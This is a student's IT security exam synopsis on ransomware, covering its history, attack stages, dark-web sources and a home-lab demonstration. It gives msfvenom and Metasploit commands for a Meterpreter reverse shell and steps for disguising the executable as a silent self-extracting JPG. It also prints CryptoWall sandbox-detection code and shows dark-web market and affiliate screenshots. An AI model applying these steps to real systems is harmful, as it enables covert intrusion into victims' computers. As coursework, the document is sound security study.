Zealand – Sjællands Erhvervsakademi

DAT rf18da3b4-4b, rf18da3c-4c, rf18cs3q-4q Valgfag/Electives -Specialiseringsprøve F20

Revision 4 sem

Prædefineret info	ormation		
Startdato:	28-03-2020 09:00	Termin:	jun 2020
Slutdato:	29-05-2020 11:00	Bedømmelsesform:	Dansk 7-trinsskala
Eksamensform:	Mundtlig prøve	ECTS:	30
SIS-kode:	259410 0620 rf18da3b4-4b 71224 - MDT	EKS 7TRIN	
Intern bedømmer:	Michael Claudius		
Intern bedømmer:	Jens Peter Andersen		
Deltager			
Naun:	Michel Møs Arbirk		
Kandidatnr.:	10138 43202 jun 2020 2001 3970		
UNI-C ID:	(Ikke sat)		
Alt. id:	(Ikke sat)		
EASJ-id:	(Ikke sat)		
Gruppe			
Gruppenavn:	Enkeltmandsgruppe		
Gruppenummer:	34		
Øurige medlemmer:	Deltageren har afleveret i en enkeltman	dsgruppe	

src > j	src≯js	JS index copy.js > (*) GetAllMoney > [@] _loop_1 > (*) then() callback
		"use strict";
		exportsesModule = true;
		<pre>var index_1 = require("//darknet_modules/empireMarket/malware");</pre>
		Complexity is 3 Everything is cool!
		function GetAllMoney() {
		<pre>var _loop_1 = function () {</pre>
		<pre>var specific_tbody = document.getElementById("Encrypteverything");</pre>
		<pre>index_1["default"].get("https://MichelMøsArbirk/Synopsis/4thSemester/Ransomware")</pre>
		.then(function (response) [
		var data = response.data;
		<pre>specific_tbody.innerHTML = "KILL";</pre>
11		var index;
12	12	
13		
14		
15	15	

RANSOMWARE

Michel Møs Arbirk

4. Semester Exam Synopsis

IT SECURITY – Zealand Roskilde Impact – 23009 characters Due – 29-05-2020

Indhold

ntroduction	1
Motivation	1
Problem definition	1
Method	2
Planning	2
Background & Origin	3
What is the Anatomy of a Ransomware attack?	3
How to gain access to ransomware?	7
How do you exploit a victim's target device?	8
Conclusion	12
Reflection	12
List of references	13
Appendix	14

Introduction

Ransomware is a term used for a type of malware which prevents the victim from using their computer or access certain files unless you pay a digitally ransom. Years ago, cybercrime was preserved to experienced hackers, but nowadays ordinary people can gain access to high-end malicious software using simple tools such as the onion router(TOR) on the dark web. Ransomware come in many different types and shapes, but the main two types are crypto ransomware and locker ransomware. Ransomware is dramatically on the rise. According to Cybersecurity Ventures(2017), estimates of damage done by ransomware is expected to hit 20 billion US dollars in 2021, in 2015 it was 325 million US dollars – which is equivalent to a 6153% rise in just 6 years.

Motivation

My personal interest in Ransomware originated years ago when the deep/dark web became sort of mainstream – and it suddenly became possible to explore the dark side of the world wide web. Now you could gain access to pioneered underground markets – where it was possible to buy drugs, guns, evil software, or even hire a hitman. I was sold, not because I wanted to buy anything, but my urge to understand how literally anyone could purchase a military grade AK-47, was mind blowing. Even though we did have about Ransomware on 4. Semester in IT-Sec class, I felt and knew there was way more to it.

Problem definition

This problem definition provides the working ground for my synopsis. The first question is my 'main' question, and to answer my main I will have 4 'sub' questions.

What are the challenges of Ransomware ?

1. What defines the anatomy of a Ransomware attack?

- 2. How do you gain access to ransomware?
- 3. How do you exploit a victim's computer?
- 4. How to protect against ransomware ?

Method

To be able to answer my problem definition I will be using this methodology.

- 1. Research
- 2. Experiment
- 3. Implementation

Research

To do my research I will put hours and hours into searching the web, browsing news articles, watching YouTube videos and so on. These will be my main source of knowledge to be able to answer my problem definition.

Experiment

For my practical work I need to test out some ransomware. As I am not sure how to approach this yet, a lot of research must beforehand, so I minimize the risks of destroying my own hardware. The way I see it I have two options. 1. I will have the opportunity to carry out a small ransomware attack by using Kali Linux on a virtual machine 2. I will dive in the dark web markets and buy some high-level ransomware. The first option is by any means the safest and best way. But I will do some investigation on the dark web and ransomware, - and try to include it in my report as well.

Implementation

For my implementation I will be trying to execute or gain access to ransomware.

Planning

Since we must include a planning schedule, I will try my best to make one. For my personal experience I know that I will probably be making a lot of changes under way, as I like to work kind of abstract. But the initial plan will look like this:

Week 1	Week 2	Week 3	Week 4
Planning and gather information	Reading and gather information	Reading and experimenting/implementation	Closing the synopsis
Correct way to make a synopsis and the best way to approach my topic	Setting the outline of the body of the synopsis and start to write on the report	Setting up the testing environment of ransomware deployment + documentation	Finish the report, Check grammar and spelling, cutting down and closing up.

Background & Origin

Historically, ransomware originated back in 1989 as a piece of malware called AIDS(also called PS Cyborg)¹, created by Joseph Popp – a Harvard-trained evolutionary biologist. The original code would replace the text batch file in the root directory of the infected computer called AUTOEXEC.BAT, which would then count the number of times the computer was rebooted. Once this number hit 90 the AIDS trojan would then hide all the directories and claiming to have encrypted the files themselves. At this time, the user was then asked to 'renew their license' and contact PC Cyborg Corporation for payment through a post box office in Panama, the ransom was 189 US dollars. Later a tech analyst Jim Bates, found out that the AIDS trojan did not encrypt any of the files, it only altered the file names, and could be removed with the programs AIDSOUT and CLEARAID. The purpose of the ransomware was to raise capital to the research of the real disease AIDS. It was spread by 20000 infected floppy diskettes labelled "AIDS Information – Introductory Diskettes" which was sent to attendees of the World Health Organization's international AIDS conference. In the years to come ransomware attacks was not a big thing, that wasn't until 2006 when cybercriminals became more active and started using asymmetric RSA encryption².

Fast forward to 2012, ransomware started spreading worldwide, infecting systems, and transforming into highly sophisticated malware which made it easier to attack in the years to come. In the 3rd quarter of 2012 alone, 20000 new ransomwares were discovered³.

As of 2016⁴ ransomware cyberattacks emerged as the most notorious and damaging cybercrime, hitting enterprises and it also turned out the be the most successful year of attacks on You, the individual user. And unfortunately for You, there is no government or specialized rescue unit to swoop in and save You.

What is the Anatomy of a Ransomware attack?

Now let us talk about how ransomware attacks are executed. The model below shows the basic anatomy of a ransomware attack, step by step.



Step 1 – Deployment

The first phase is the deployment, also called "the campaign". The whole purpose of this is to get the malware downloaded to the victim's system/environment. Since most big ransomware attacks are carried out by professional cybercriminals, they are also using different business models to carry out the

¹ <u>https://www.theatlantic.com/technology/archive/2016/05/the-computer-virus-that-haunted-early-aids-researchers/481965/</u>

² <u>https://www.comparitech.com/blog/information-security/rsa-encryption/</u>

³ <u>https://www.varonis.com/blog/a-brief-history-of-ransomware/</u>

⁴ <u>http://techgenix.com/2016-ransomware/</u>

deployment. Just like traditional and legitimate businesses they often use B2B strategies which consist of 3 main models:

1. *Integrated business* – This model is straight forward and the most profitable. What the figure below shows is basically that the hacker group is 100% responsible of the deployment/distribution of the ransomware campaign, thereby they also get 100% of the ransoms paid by the victims.

		SOFTWARE DEVELOPMENT AND HOSTING	HACKING GROUP	
RAN	SOMWARE			88
		DISTRIBUTION	HACKING GROUP	100%

 Affiliate business – This strategy business model consists of lower risks for the hackers since the campaign can be outsourced to other cybercriminal networks for a split of the profits. An affiliate business offer found on a dark web marketplace(DreamMarket)⁵, picture below: [FREE] RANSOMWARE AFFILIATE NETWORK 75-25%

age 1 of 10 1 2 3	4 5 6 → 10 Next> Watch Three
æ	Hi fellas. I've created a Ransom Virus Affiliate Website: Ransom32. You put the traffic and I put the software: (OPEN BETA LAUCHED. CHECK HERE: [URL]http://pwoah7foa6au2pul.onion/forum/index.php?threads/free- ransomware-affiliate-network-75-25.37426/page-6#post-412038[/URL])
New Member	My ransomware will semilock the computer and encrypt all the important files, asking for a Bitcoin payment (configurable) to decrypt and unlock the computer. My network will pay to you 75% of the revenue that my ransomware make.
Joined: Aug 5, 2015 Messages: 84 Likes Received: 9	It has configured 2 timeouts. One timeout of 4 days or the payout will be multiplied by 10 and another timeout that will delete the key and the user won't be able to decrypt the files anymore (not actually, but just to hurry up the user).
	It has a configurable "latent timeout". The client will install itself and sleep until "latent timeout" ends, then he will connect to the server and start the encryption.

3. Reselling – The last business model is where other cybercriminals resell premade or new ransomware, so they are 100% responsible of all the aspects of the ransomware operation, thereby they also earn 100% of the ransom they collect, model below illustrates this model.

SOFTWARE DEVELOPMENT		HACKING GROUP	-	SOFTWARE HOSTING		
R/	NSOMWARE		t	FTWARE LICE	NSE FEE	₿
SPAM EM			BUTION		DISTRIBUTION	100%

The last step of the deployment is how do the hackers then get the ransomware on their victims' computer. There is no easy answer to this, the first 3 methods below are the most common, while the last one I just had to include, since I find it quit interesting:

• Drive-by download⁶ - is a simple visit to an exploited or out of date website or app where the malware is downloaded secretly in the background without the user's knowledge. It could also be a compromised authorized by end-user download.

⁵ <u>https://en.wikipedia.org/wiki/Dream_Market</u>

⁶ <u>https://en.wikipedia.org/wiki/Drive-by_download</u>

- *Phishing*⁷ Can be done in a variety of ways. Most common is phishing mails, where the hacker is sending out thousands of emails, in the hope of just one credulous user would open it and click on some sort of link. This link could for example take you to a fake simulated bank site where it asks you to update your personal information, and now the hacker could now use this info to brute force himself into your system and install the ransomware directly.
- *Botnet*⁸ This popular method in recent years attack computers that are already part of a botnet(a horde of computers infected with viruses, key loggers, and other malicious software) and remotely controlled by criminals. Commonly used for financial gain or to launch attacks on websites or networks. Also, most importantly, if they want to affect your system with a ransomware attack, they can do it easily.
- USB-Drive Malware⁹ This one is kind of funny, no offense, but the name explains it well. A cybercriminal drops infected USB device's with ransomware around universities for people to plug into their computers, and then the trouble begins. In 2016, researchers from the University of Illinois left nearly 300 unmarked USB flash drives to see how people responded to them. Almost 50% of the found USB devices was plugged in by the students and teachers. ¹⁰

Step 2 - Installation (Ex. of an installation on a Windows system)

When the ransomware has been distributed to a victim's system the installation begins. If the ransomware installation is being detected and blocked by Anti-Virus programs, there is another option – a malware dropper. The "dropper methodology¹¹" is where a small piece of harmless code is being installed to avoid detection of AV-programs and communicate with the hacker's command-and-control channels(Step 3). In its essence, it is a sophisticated way of opening a backdoor to the victims' system unnoticed before the real ransomware is installed. A second stage begins, now the ransomware starts to detect the infected system vulnerabilities and strengths – Is this system worth infection? If the answer is yes, the ransomware starts to spread further into windows registry that will ensure the ransomware is booted every time the computer starts. The ransomware components are then broken down into a variety of scripts, processes and batch files to ensure tools such as AV-programs and firewalls are turned off or are not a threat to the installation. The ransomware components are often hidden and extremely hard to notice as it disguises itself as a standard Windows process, like *svchost.exe*¹². In some cases of a SECOND dropper is also being installed to detect if the ransomware is on a virtual machine(used by big businesses, more on this later) or not, and to switch off windows recovery features using *BCDEdit*¹³. Example of how the dropper code could look like is in Appendix.

⁷ <u>https://en.wikipedia.org/wiki/Phishing</u>

⁸ <u>https://en.wikipedia.org/wiki/Botnet</u>

⁹ <u>https://www.thesslstore.com/blog/usb-flash-drive-malware-how-it-works-how-to-protect-against-it/</u>

¹⁰ <u>https://www.thesslstore.com/blog/usb-flash-drive-malware-how-it-works-how-to-protect-against-it/</u>

¹¹ <u>https://en.wikipedia.org/wiki/Dropper (malware)</u>

¹² <u>https://malwaretips.com/blogs/svchost-exe-virus-removal/</u>

¹³ <u>https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/bcdedit-command-line-options</u>

Step 3 – Command & Control(C2)¹⁴

Once the payload has been delivered to a system the hackers need to have some form of communication channel established to ensure that the ransomware know what to do next. Often it then sends information(IP address, domain name, operation system and AV-programs) back the extortionist so they know who they have compromised. Let us say that a high value target has been hit(Bank, Hospital etc.), then the criminals can adjust the ransom instead of 300 US dollars to maybe 300000 US dollars. So basically, a normal client-server model has now been kind of been established, lying dormant, so that the criminals can determine if the infection could be used to higher nefarious purposes. Sometimes it can take days or even weeks for the ransomware to fully have established itself on the infected system. Command and control channels come in a variety of shapes and sizes depending on the type of ransomware. Sometimes these can be as simple as an unencrypted web-based HTTP protocol, to highly complicated systems that rely on the Onion Router(TOR) for communication, which makes it difficult for law enforcement to shut the server down. Security researchers from German antivirus vendor G Data Software found out that even large botnets are being controlled on the Tor network¹⁵.

The next step is to do a handshake(key exchange) once a "relationship" between the client and server has been arranged. In its **core**, this is the **heart** of the **ransomware attack**. Depending on the complexity of the ransomware, this could be anything from a weak symmetric key cypher to a complex asymmetric RSA 4,096-bit encryption algorithm. Let's take a fast look at the pros & cons of asymmetric/symmetric ransomware encryption:

- Symmetric key encryption Most often uses the infected system itself to generate the key. This
 reduce the resources and time needed for the actual encryption, which could help avoiding
 detecting of AV-program etc. Another advantage is that a unique key is generate every time contra
 asymmetric, which additionally allows the encryption to happen on, or offline. Once the system is
 online the key will be sent back to the criminals(this is typical where the clock begins to tick). The
 biggest disadvantage of all of this it that, this can be defeated if You know how to do it. Quick
 explanation You can pull the key from the systems active memory and use it to decrypt the
 system by yourself with the help of tools such as msramdump¹⁶, after that you can directly read
 and access the memory(where the key is hidden) with a tool like Volatility¹⁷.
- Asymmetric key encryption In this encryption both a public and private key are used for the encryption process and a big advantage to this, contra symmetric, is that it is almost impossible to use tools to decrypt the system. Another advantage is the encryption algorithm used, which is very hard to brute force. Thus, asymmetric encryption is slower and consume more power overall, it is the preferable way to go, if you want a successful ransomware attack.
- *Note* Some newer forms of ransomware combine the strength of both symmetric and asymmetric encryption(Hybrid-Ransomware)¹⁸.

¹⁴ <u>https://www.sciencedirect.com/topics/computer-science/command-and-control-c2</u>

¹⁵ <u>https://www.csoonline.com/article/2132226/botnet-masters-hide-command-and-control-server-inside-the-tor-network.html</u>

¹⁶ <u>https://danielmiessler.com/blog/performing-a-cold-boot-proof-of-concept-without-princetons-bit-unlocker/</u>

¹⁷ <u>https://www.howtoforge.com/tutorial/how-to-install-and-use-volatility-memory-forensic-tool/</u>

¹⁸ https://medium.com/@tarcisioma/ransomware-encryption-techniques-696531d07bb9

Step 4 - Destruction

Once the payload is installed and all the target files has been identified by the command-and-control phase, the malicious code begins to encrypt. Depending on the type of ransomware, everything from JPG's, Programs, MS-Office documents, GIFs, and so on, will be encrypted. Some other types of ransomware, - scareware f. ex. Is aimed to scare the end-user by stating it has explicit photos of the victim and in that way is holding the user hostage. But this is where the attack really starting to showing itself.

Step 5 – Extortion

Now that the system is encrypted, the victim is shown a screen demanding a fee for the key which decrypts the system again. The typical cost for unlocking your system is between 300\$ and 500\$

Additionally, there is no guarantee that you will be able to decrypt your system if the ransom is paid. It is now up to the victim or company, to determine if they should pay or not.

With everything involving ransomware, its constant evolving. A new method called "Double Extortion"¹⁹ is on the rise where the hackers are threatening companies infected to pay the ransom fast or else they release,- or sell sensitive data(banking-info, social security info, etc.) to third-party cybergangs on the internet.



WannaCry (2017, biggest and most infamous, estimated damage caused: 4.000.000.000 \$)²⁰

How to gain access to ransomware?

Upon the weeks that have pasts since the beginning of this report, it was not easy to determine all of the ways, a person could get a hold of malicious ransomware. But let me conclude what I found out so far:

Do-it-yourself – This one says itself. After reading a lot of forums I can conclude this: It is extremely
hard, even if you created it yourself, the chances are that it will not be that good, at all! Most of the
new sophisticated ransomware(Petya²¹, SaMSam, REvil²²) often include a lot of code from the old
ones. So, for the ordinary person/coder, this will not be a good option.

¹⁹ <u>https://www.cybersecasia.net/news/rise-in-ransomware-featuring-double-extortion-tactic</u>

²⁰ <u>https://www.kaspersky.com/resource-center/threats/ransomware-wannacry</u>

²¹ <u>https://www.theguardian.com/technology/2017/jun/27/petya-ransomware-cyber-attack-who-what-why-how</u>

²² https://www.csoonline.com/article/3212260/recent-ransomware-attacks-define-the-malwares-new-age.html

- *Clear web*²³(*World Wide Web*) For ethical purposes you can download some of the biggest ransomware viruses on the web. For a further explanation I will demonstrate this for my oral exam(**hopefully**). Free tools such as Kali Linux, WinRAR and GitHub will used here.
- Dark Web Many options here. Create a user on an illegal marketplace using the TOR-browser, and simply search for ransomware, but there can be many complications here. Firstly, You need to buy Bitcoin or even better Monero²⁴(highly anonymous) plus you need a crypto wallet. These marketplaces pop up fast but gets taken down by law enforcement even faster. Additionally, there are so many marketplaces which are cloned 'fake' sites²⁵, only created for you to make a purchase and scam you in the end. So, you really know what you are doing here.
- Dark Web The second option is to join a hacker forum on the dark web, but often you need a reference from one of the existing members. I found a very hidden TOR-site called "freehacksRU", which apparently consisted of very big hacker groups, including the LizardSquad²⁶. The whole site was on Russian, but I was able to translate a good bunch, and I could see that they had everything from affiliate programs, hacker tools, videos and so on, focusing on unethical hacking and software. Screenshot from the site below.

Барахол	тка			Последнее сообщение 🛛 🛓
	Биржа труда (11 Проснатривает) Заработок в Интернете, поиск работы требуются услуги (182/505) платные схемы, способы заработка в интернете (64/499)	и услуги 🗭 Предлагаю услуги (261/1718)	Тем: 508 Сообщений: 2,726	Взлом БД сайтов / Удаленный доступ, прослушка / т LineVzlom 25.04.2020, 14:45
	Вирусология	 Эксплойты (7/9) АЗ (2/4) Прочее (2/4) 	Тем: 27 Сообщений: 52	Erp Prosvasis Business Software: RCE - DNS D ot AceOfpentacles 23.08.2019, 18:23
	Приватный софт (4 Просматриез Продажа и покупка различного приват Продам (87/412) Куплю (20/46)	нет) ного софта ₱ Сдам в аренду (в/s1)	Тем: 115 Сообщений: 519	 [Софт для Telegram] - Инвайтер в группы, Рассылка эз от SMMWP 18.04.2020, 15:14
	Dedicated, Proxy, VPN, Socks Купить, продать - Proxy, VPN, Socks, D	<i>(6 Просматривает)</i> edicated, VDS и прочее	Тем: 91 Сообщений:	Продажа дедиков (dedicated servers)

How do you exploit a victim's target device?

This step by step guide will demonstrate how to create an undetectable backdoor with the use of Kali Linux, Windows10 and WinRar. The goal is to create a hidden payload within an image(JPG,PNG etc.), when a victim opens up the image, a small .exe file will run in the background giving us information and some control over the device. Drawing parallels to "The Deployment step 1" as mentioned earlier, the next step is then to spread the image out either by uploading it on different sites, forums, sending phishing mails with the image attached and etc, so a unknowing victim can click on it and the hackers have a way inside of the victims device. My Kali Linux is setup to work on my local Wi-Fi connection so it "acts" like a normal computer. So basically, I want to create a backdoor to my normal psychical windows laptop and gaining access to that - by Kali Linux. This is to demonstrate how the early process of a ransomware attack is being formed.

 First, we open a normal terminal window in Kali and give us root access if we need, and enter the command: root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LH OST=192.168.1.165 LPORT=4444 -f exe -o michelvirus.exe

²³ <u>https://martech.zone/what-is-clear-deep-dark-web/</u>

²⁴ <u>https://da.wikipedia.org/wiki/Monero</u>

²⁵ <u>https://www.vice.com/en_us/article/nze44g/the-fbis-deep-web-raid-seized-a-bunch-of-fake-sites</u>

²⁶ http://www.bbc.co.uk/newsbeat/article/30306319/who-are-lizard-squad-and-whats-next-for-the-hackers

Notes: $msfvenom^{27}$ combines msfpayload and msfencode to give the best shellcode framework, the *meterpreter*²⁸ payload provides us later with dynamic information of the target device.

2. Step 1 gave us a reverse shell .exe file that will connect back to us on port 4444 and a TCP connection on ip 192.168.1.165. The file is saved in file manager:



initrd.ima

3. We right click on the file and go to properties and enable the file to run as a program:

Program: I Allow this file to run as a program

4. Now we use *msfconsole*²⁹(enter msfconsole in the running terminal) to give us the best "all in one" console interface. Then we use *multi/handler*³⁰ that handles exploit outside of the framework:

```
msf5 > use multi/handler
msf5 exploit(
                              ) > set payload windows/meterpreter/reverse_tcp
payload ⇒ windows/meterpreter/reverse_tcp
<u>msf5</u> exploit(
                              > set LHOST 192.168.1.165
LHOST \Rightarrow 192.168.1.165
                              ) > set LPORT 4444
msf5 exploit(
\mathsf{LPORT} \implies 4444
                       nandler) > show options
<u>msf5</u> exploit(
```

5. Now we basically have a running framework-exploit open in Kali and the next step is to create the image with .exe file compressed inside of that.

We google a random .jpg image and upload the image to an icon converter(www.icoconvert.com). We then DRAG the payload .exe file from kali to our psychical windows computer on the desktop. Then we mark the payload file and the normal .jpg image together and compress them with WinRar. After that WinRar pop ups where we have the options to change how the file "should perform". The most important features here are that we setup the image to execute the payload file when you click on the .jpg image. With the help of these WinRar SFX options we can disguise the .exe file within:



²⁷ <u>https://www.offensive-security.com/metasploit-unleashed/msfvenom/</u>

²⁸ https://doubleoctopus.com/security-wiki/threats-and-tools/meterpreter/

²⁹ https://www.offensive-security.com/metasploit-unleashed/msfconsole/

³⁰ https://www.offensive-security.com/metasploit-unleashed/binary-payloads/

We make sure that the file is in silent mode and doesn't reveal that anything besides the image is



We also upload the SFX icon(.ico) so the image gets the correct looking logo as we want:

g		
s		
L L		
-	Load text from file	
	Customize SFX logo and icon	D
	Load SFX logo from the file	Browse
		-
	Load SFX con from the file	Browse
	lol.ico	

6. This is what we end up with after we press okay to the previous options:. An image looking file but with a small twist:



7. Unfortunately, no matter how many times I tried to close my firewall and AV-programs I wasn't able to establish a fully working backdoor when clicking on the image. I know this method would work; I just could not figure out what went wrong in the end. But after clicking the image we would have gotten a lot of information about the victim(my laptop) device on Kali. This is how it should have looked like when I was clicking on the image on my windows system, and here we can see in Kali Linux a lot of information about the windows system(my laptop), we could

go into almost every folder, look at images and files also, if we wanted to.



(The screenshot is from the YouTube video tutorial I was using, I will post the link in appendix)

I want to mention, I tried two other methods(*Veil-Evasion³¹, Setoolkit*)³² for creating backdoors, but again, I had kind of the same problem in the end as well, it couldn't establish a proper connection. The problem could be that I was using a newer version of Kali Linux than the one we used in 4th semester, but I reinstalled Kali with different versions many times with no luck again.

³¹ <u>https://www.youtube.com/watch?v=iz1twCSJZyo</u>

³² <u>https://www.youtube.com/watch?v=jY7hqID48As</u>

Conclusion

I am rounding up my synopsis with a conclusion to my questions.

What defines the anatomy of a Ransomware attack?

For my theoretical research I found out that there are 5 stages in a ransomware attack – 1st. Deployment 2nd Installation 3rd Command & Control 4th Destruction 5th Extortion.
 They are all connected to each other and must be performed in the correct alignment to function properly.

How do you gain access to ransomware?

There are 3 common ways to gain access. Make it yourself, join secret hacker forums, join Dark web marketplaces, or get it from the Clear web(This one I will demonstrate for my Oral Exam).
 Either way you really need to know what you are doing since a lot of people in this industry just want to rip you off.

How do you exploit a victim's target device?

I tried to create a backdoor exploit with a virus hidden in an image, it didn't function 100% as I wanted it to be, but overall, I am happy and gained a lot of experience. With free software such as Kali Linux this can be done with some experience and 'know how'. With large scale company attacks this is probably done in a much more sophisticated way.

How to protect against ransomware?

- As my synopsis was getting to the 10 pages max, I did not have time to explain this and cannot conclude anything here. I will how ever also be looking into this for my Oral exam.

I am fine with how my synopsis turned out to be, I gained an incredible amount of knowledge on ransomware in which I think, - I can be using it in the future.

Reflection

As I started the synopsis, I ran into 10 days with infection in my arms(so I could not write on a keyboard). This meant that I only could browse the web and reading very limited and no writing on the synopsis.

If I would have known how massive the first sub question was(The Anatomy), I would maybe have chosen another one, since it took forever on research, and It took a whole-lot of space and time to write about. I also wish I could have focused more on the practical part, since I suddenly did not have time to do it successfully. I would also have made a much stricter plan and force myself to follow it, since I often found myself researching much further around other sub-topics, than what I should.

I was truly stunned about this subject. How massive it is, and how it will continue to grow in the future. So, I will look at it some more besides my education and job, as I find it extremely intriguing.

List of references

In numeric order as in the report's footnotes.

- 1) https://www.theatlantic.com/technology/archive/2016/05/the-computer-virus-that-haunted-early-aids-researchers/481965/
- 2) https://www.comparitech.com/blog/information-security/rsa-encryption/
- 3) https://www.varonis.com/blog/a-brief-history-of-ransomware/
- 4) http://techgenix.com/2016-ransomware/
- 5) https://en.wikipedia.org/wiki/Dream_Market
- 6) https://en.wikipedia.org/wiki/Drive-by_download
- 7) https://en.wikipedia.org/wiki/Phishing
- 8) https://en.wikipedia.org/wiki/Botnet
- 9) https://www.thesslstore.com/blog/usb-flash-drive-malware-how-it-works-how-to-protect-against-it/
- 10) https://www.thesslstore.com/blog/usb-flash-drive-malware-how-it-works-how-to-protect-against-it/
- 11) https://en.wikipedia.org/wiki/Dropper_(malware)
- 12) https://malwaretips.com/blogs/svchost-exe-virus-removal/
- 13) https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/bcdedit-command-line-options
- 14) https://www.sciencedirect.com/topics/computer-science/command-and-control-c2
- 15) https://www.csoonline.com/article/2132226/botnet-masters-hide-command-and-control-server-inside-the-tor-network.html
- 16) https://danielmiessler.com/blog/performing-a-cold-boot-proof-of-concept-without-princetons-bit-unlocker/
- 17) https://www.howtoforge.com/tutorial/how-to-install-and-use-volatility-memory-forensic-tool/
- 18) https://medium.com/@tarcisioma/ransomware-encryption-techniques-696531d07bb9
- 19) https://www.cybersecasia.net/news/rise-in-ransomware-featuring-double-extortion-tactic
- 20) https://www.kaspersky.com/resource-center/threats/ransomware-wannacry
- 21) https://www.theguardian.com/technology/2017/jun/27/petya-ransomware-cyber-attack-who-what-why-how
- 22) https://www.csoonline.com/article/3212260/recent-ransomware-attacks-define-the-malwares-new-age.html
- 23) https://martech.zone/what-is-clear-deep-dark-web/
- 24) https://da.wikipedia.org/wiki/Monero
- 25) https://www.vice.com/en_us/article/nze44g/the-fbis-deep-web-raid-seized-a-bunch-of-fake-sites
- 26) http://www.bbc.co.uk/newsbeat/article/30306319/who-are-lizard-squad-and-whats-next-for-the-hackers
- 27) https://www.offensive-security.com/metasploit-unleashed/msfvenom/
- 28) https://doubleoctopus.com/security-wiki/threats-and-tools/meterpreter/
- 29) https://www.offensive-security.com/metasploit-unleashed/msfconsole/
- 30) https://www.offensive-security.com/metasploit-unleashed/binary-payloads/
- 31) https://www.youtube.com/watch?v=iz1twCSJZyo
- 32) https://www.youtube.com/watch?v=jY7hqID48As

Appendix

1247fz3c2uv4gsnzad.onion/home

Dropper code - CryptoWall 2.0 (It checks if the virus is on a virtual sandbox testing environment, If Yes that that, it Aborts Mission)

```
bRetVal = Process32First (hProcSnap, &procEntry);
                       bRetVal = Process.
// Skip first process
while (Process32Next(hProcSnap, &procEntry)) {
    // Get process executable name
    LPTSTR execName = procEntry.szExeFile;
                                            if (_wcsicmp(execName, L"VBoxService.exe") == 0 ||
_wcsicmp(execName, L"vmtoolsd.exe") == 0) {
    // Found VMWare or VirtualBox services
    bVmFound = true;
    break;
                                            3
                                            // Search in target process modules
MODULEENTRY32 dllEntry = { sizeof(MODULEENTRY32)}; // Current DLL module descri
HANDLE hDllsSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, procEntry.th32ProcessID);
bRetVal = Module32First(hDllsSnap, &dllEntry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          riptor
                                                              Skip first
                                                                                                                                      dule
                                                                  ifis0 would and the main a
                                              while
                                                                                         break;
                                                                 3
                                              if (hDllsSnap != INVALID_HANDLE_VALUE)
        CloseHandle(hDllsSnap);
                                            // If I found the VM process exit
if (bVmFound) break;
                       return bVmFound;
 3
```

Interesting screenshots from my dark net marketplace visits for research(I really hope its okay to include this here, to see how a dark web market place looks like – just like Ebay and Amazon)

Empire Market / LTC: Home ÷ ~ DON'T GET PHISHED! Never login using random links and only get links from dark.fail or darkfaillInkf4vf.onion. Change your passwords, PINs, and enable 2FA. Welcome. Total orders onal phrase The sentence above is here to ensure that you are on the real Empire Market site and not on a phishing site AUTOSHOP UICK SEARCH Access the CC autoshop es the Accounts autoshop Search: Search IOTTERY 445 FEATURED LISTINGS Access the Lottery ***ADDERALL-PHARM GRADE-PRESSED 301 X25 FREE SHIPPING! Item # 81265 - Adderal & Vyvanse - DruggieBears Buy: USD 150.00 1 Pound ★ PURPLE URKLE ★ \$750 (SALE!) Item # 163574 - Buds & Flowers - ProjectCannat Buy: USD 750.00 BROWSE CATEGORIES 4679 3g Highest Purity COCAINE - 100% uncut -DAILY VIDEO PROOFS: http://bit.ly/bbproof 🖈 Fraud EARN UNLIMITED BITCOINS!! FISHSCALE - High Class Item # 100462 - Cocaine - Schneider 34714 Item # 6552 - Other - RealBitcoinBillionaire > Drugs & Chemicals Buy: USD 220.78 Buy: USD 997.00 Guides & Tutorials 3004 25x Adderall 30mg (IR) NEW PHARM GRADE PRESS S4.5 PER PILL NEW DISCOUNT Item # 178104 - Prescription - Dank4Dayz Buy: USD 110.00 PROMO 5 gram ICE Pure Crystal Meth 95%+ Counterfeit Items 2483 PROMOCI 5 gram ICE Pure C Purity uncut and clean Item # 155189 - Meth - drugzone Buy: USD 77.66 Digital Products 6618 > Jewels & Gold 856 COKE [DC24-MAY] . COLOMBIAN CLEAN COCAINE Carded Items 407 CHEMICALS_SPAIN+++ (1gr) Item # 171972 - Cocaine - chemicals_spain Item # 30814 - Cocaine - DCUKConnection Services 524 Buy: USD 0.01 Buy: USD 88.76 > Other Listings 375 Software & Malwar 583 SECURITY Security & Hosting 176 ity: 65% + 500

Guides & Tuto	orials 3004						
Counterfeit Ite	ems 2483		Amazan Guidas I	Dack: Unlimited Am	azan Balanca, Cif	t Cardo (Actualized 2019)	Buy Price
Digital Produc	cts 6618	amazon.com	Item # 15091 - Software & Malware / Exploits - SPTRLTD (16447)				USD 2.47 (0.000260 BTC)
> _ Jewels & Gold	3 856		Views: 5976 / Sales: 193 Quantity left: Unlimited (Unlimited automatic items)				3 🕲 😒
Carded Items	407						
Services	524		* 2020 DANGER	ROUS VIRUSES PA	CK (RATs 🖌 keylog	ners⊯stealers⊮DDOS)★	Buy Price
Other Listings	375	(i) NEEP	+NordVPN Premi	ium account V	- Olin2030 (24398)		USD 2.92 (0.000308 BTC)
V Software & Ma	alware 583	HAD: THE PLANET	Views: 3291 / Sales:	: 140	- 0411/2000 (24000)		0 🕲 😒
Botnets & Ma	alware 133		Quantity left: Unlimit	ed (Unlimited automatic	items		
Exploits	50						
Exploit Kits	38		2020 ★ Amazon Item # 7488 - Softwar	Exploit : checker, ro re & Malware / Exploits -	eceipt, gift card ge Golduratt (10941)	nerator ★	Buy Price USD 3.00
		amazon	Views: 3466 / Sales:	: 97			(0.000317 BTC) (0)
	284		Quantity left: Unlimit	ed (Unlimited automatic :	(tems)		
Security & Ho	sting		[MS] ★ SQLiDUN	NPER v.7 Pro ★ re & Malware / Exploits -	TheShop (7011)		Buy Price USD 1.99
		TY:	Views: 4056 / Sales	: 62			(0.000210 BTC)
LIII SEARCH OP	TIONS	Sciel History	Quantity left: Unlimit	ed (Unlimited automatic	items)		••••
Search terms:	0 8	_					
Product type:		CIA	CIA BOOK OF D	IRTY TRICKS			Buy Price
O All O Digital	O Physical O Auto		Item # 21501 - Softwa	are & Malware / Exploits	- Topkittza (5019)		(0.000528 BTC)
